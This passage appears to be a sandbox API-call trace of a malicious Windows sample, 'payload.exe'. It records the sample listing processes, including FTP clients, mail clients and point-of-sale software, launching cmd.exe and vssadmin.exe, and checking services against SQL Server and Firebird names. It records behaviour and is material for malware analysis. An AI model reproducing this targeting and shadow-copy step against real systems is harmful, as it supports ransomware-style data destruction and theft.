th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0070.618] lstrlenW (lpString="bitkinex.exe") returned 12 [0070.618] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0070.619] lstrlenW (lpString="coreftp.exe") returned 11 [0070.619] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0070.619] lstrlenW (lpString="far.exe") returned 7 [0070.619] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0070.620] lstrlenW (lpString="filezilla.exe") returned 13 [0070.620] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0070.621] lstrlenW (lpString="flashfxp.exe") returned 12 [0070.621] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0070.622] lstrlenW (lpString="fling.exe") returned 9 [0070.622] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0070.623] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0070.623] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0070.623] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0070.623] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0070.624] lstrlenW (lpString="icq.exe") returned 7 [0070.624] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0070.625] lstrlenW (lpString="leechftp.exe") returned 12 [0070.625] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0070.626] lstrlenW (lpString="ncftp.exe") returned 9 [0070.626] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0070.627] lstrlenW (lpString="notepad.exe") returned 11 [0070.627] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0070.628] lstrlenW (lpString="operamail.exe") returned 13 [0070.628] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0070.629] lstrlenW (lpString="pidgin.exe") returned 10 [0070.629] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0070.630] lstrlenW (lpString="scriptftp.exe") returned 13 [0070.630] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0070.631] lstrlenW (lpString="skype.exe") returned 9 [0070.631] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0070.633] lstrlenW (lpString="smartftp.exe") returned 12 [0070.633] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0070.634] lstrlenW (lpString="thunderbird.exe") returned 15 [0070.634] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0070.635] lstrlenW (lpString="totalcmd.exe") returned 12 [0070.635] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0070.636] lstrlenW (lpString="trillian.exe") returned 12 [0070.636] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0070.637] lstrlenW (lpString="webdrive.exe") returned 12 [0070.637] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0070.638] lstrlenW (lpString="whatsapp.exe") returned 12 [0070.638] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0070.767] lstrlenW (lpString="winscp.exe") returned 10 [0070.767] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0070.767] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0070.768] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0070.768] lstrlenW (lpString="active-charge.exe") returned 17 [0070.768] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0070.769] lstrlenW (lpString="accupos.exe") returned 11 [0070.769] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0070.770] lstrlenW (lpString="afr38.exe") returned 9 [0070.770] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0070.770] lstrlenW (lpString="aldelo.exe") returned 10 [0070.771] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0070.771] lstrlenW (lpString="ccv_server.exe") returned 14 [0070.771] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0070.772] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0070.772] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0070.773] lstrlenW (lpString="creditservice.exe") returned 17 [0070.773] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0070.774] lstrlenW (lpString="edcsvr.exe") returned 10 [0070.774] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0070.775] lstrlenW (lpString="fpos.exe") returned 8 [0070.775] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0070.775] lstrlenW (lpString="isspos.exe") returned 10 [0070.775] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0070.776] lstrlenW (lpString="mxslipstream.exe") returned 16 [0070.776] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0070.777] lstrlenW (lpString="omnipos.exe") returned 11 [0070.777] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0070.777] lstrlenW (lpString="spcwin.exe") returned 10 [0070.777] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0070.778] lstrlenW (lpString="spgagentservice.exe") returned 19 [0070.778] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0070.779] lstrlenW (lpString="utg2.exe") returned 8 [0070.779] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="slope.exe")) returned 1 [0070.779] lstrlenW (lpString="slope.exe") returned 9 [0070.779] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="entered.exe")) returned 1 [0070.780] lstrlenW (lpString="entered.exe") returned 11 [0070.780] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="demographicinfluences.exe")) returned 1 [0070.781] lstrlenW (lpString="demographicinfluences.exe") returned 25 [0070.781] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="attach.exe")) returned 1 [0070.781] lstrlenW (lpString="attach.exe") returned 10 [0070.781] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations.exe")) returned 1 [0070.782] lstrlenW (lpString="obligations.exe") returned 15 [0070.782] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0070.783] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0070.783] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0070.783] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0070.783] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0070.784] lstrlenW (lpString="taskhost.exe") returned 12 [0070.784] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0070.784] lstrlenW (lpString="payload.exe") returned 11 [0070.784] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0070.785] lstrlenW (lpString="cmd.exe") returned 7 [0070.785] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0070.786] lstrlenW (lpString="conhost.exe") returned 11 [0070.786] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0070.786] lstrlenW (lpString="vssadmin.exe") returned 12 [0070.786] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0070.787] lstrlenW (lpString="VSSVC.exe") returned 9 [0070.787] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.787] lstrlenW (lpString="svchost.exe") returned 11 [0070.787] Process32NextW (in: hSnapshot=0x1e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0070.788] CloseHandle (hObject=0x1e8) returned 1 [0070.788] Sleep (dwMilliseconds=0x1f4) [0071.682] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x626ca8 [0071.683] EnumServicesStatusExW (in: hSCManager=0x626ca8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0071.683] GetLastError () returned 0xea [0071.683] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x12c6) returned 0x628500 [0071.684] EnumServicesStatusExW (in: hSCManager=0x626ca8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x628500, cbBufSize=0x12c6, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x628500, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0071.684] CloseServiceHandle (hSCObject=0x626ca8) returned 1 [0071.685] lstrlenW (lpString="Appinfo") returned 7 [0071.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0071.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0071.685] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0071.685] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0071.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0071.685] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0071.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0071.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0071.685] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0071.685] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0071.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0071.685] lstrlenW (lpString="AudioSrv") returned 8 [0071.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0071.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0071.685] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0071.685] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0071.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0071.685] lstrlenW (lpString="BFE") returned 3 [0071.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0071.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0071.685] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0071.686] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0071.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0071.686] lstrlenW (lpString="CryptSvc") returned 8 [0071.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0071.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0071.686] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0071.686] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0071.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0071.686] lstrlenW (lpString="CscService") returned 10 [0071.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0071.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0071.686] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0071.686] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0071.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0071.686] lstrlenW (lpString="DcomLaunch") returned 10 [0071.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0071.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0071.686] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0071.686] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0071.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0071.686] lstrlenW (lpString="Dhcp") returned 4 [0071.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0071.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0071.686] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0071.686] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0071.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0071.686] lstrlenW (lpString="Dnscache") returned 8 [0071.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0071.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0071.687] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0071.687] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0071.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0071.687] lstrlenW (lpString="DPS") returned 3 [0071.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0071.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0071.687] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0071.687] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0071.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0071.687] lstrlenW (lpString="eventlog") returned 8 [0071.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0071.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0071.687] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0071.687] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0071.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0071.687] lstrlenW (lpString="EventSystem") returned 11 [0071.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0071.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0071.687] lstrcmpiW (lpString1="sqlwriter", 